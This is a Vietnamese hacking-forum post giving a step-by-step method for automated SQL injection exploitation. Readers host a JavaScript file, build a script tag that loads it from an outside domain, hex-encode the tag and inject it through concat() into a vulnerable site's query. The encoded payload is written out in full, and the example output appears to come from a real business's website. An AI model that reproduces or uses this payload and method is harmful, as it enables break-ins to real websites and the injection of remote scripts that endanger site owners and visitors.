Auto Khai Thác SQL Injection

[sunny9x]

sqli.js
pass: VNH -úp file js lên hosting.
-sửa link js trong sript sau:
Quote:
<script src='http://link.com/sqli.js'></script> VD:
Quote:
<script src='http://thptquangha.com/sqli.js'></script> -sau đó convert đoạn sript trên sang hex.
- ta được :
Quote:
3c736372697074207372633d27687474703a2f2f7468707471 75616e6768612e636f6d2f73716c692e6a73273e3c2f736372 6970743e
- dùng nó trong thẻ sau:
concat((0x mã hex))vnhack
VD:
Quote:
concat((0x3c736372697074207372633d27687474703a2f2f 746870747175616e6768612e636f6d2f73716c692e6a73273e 3c2f7363726970743e))vnhack - đã xong. giờ ví dụ bạn đang khai thác 1 site bị sqli.
đã tìm được số lỗi. bạn chỉ việc chèn đoạn trên vào 1 trong các số lỗi đó. tiếp theo bạn tự tìm hiểu .
( cái này không hẳn site nào cũng khai thác được ).
-VD với js trên :
Quote:
Kem lam - Kềm - kem - Kiềm- nail - nippers - Công ty kềm Lâm - Kềm lâm - dụng cụ cắt móng tay - kềm cắt móng tay =======================================
II- Hoặc 1 js khác : cái này dễ nhìn hơn cái trên
download:
Quote:
sqli2.js
Quote
Kem lam - Kềm - kem - Kiềm- nail - nippers - Công ty kềm Lâm - Kềm lâm - dụng cụ cắt móng tay - kềm cắt móng tay